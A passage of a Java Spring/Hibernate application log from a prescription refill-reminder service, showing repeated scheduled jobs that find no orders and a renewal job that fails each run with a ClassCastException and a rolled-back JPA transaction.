org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 14:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 14:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 14:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 14:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 14:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 14:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 14:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 14:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 14:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 14:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at 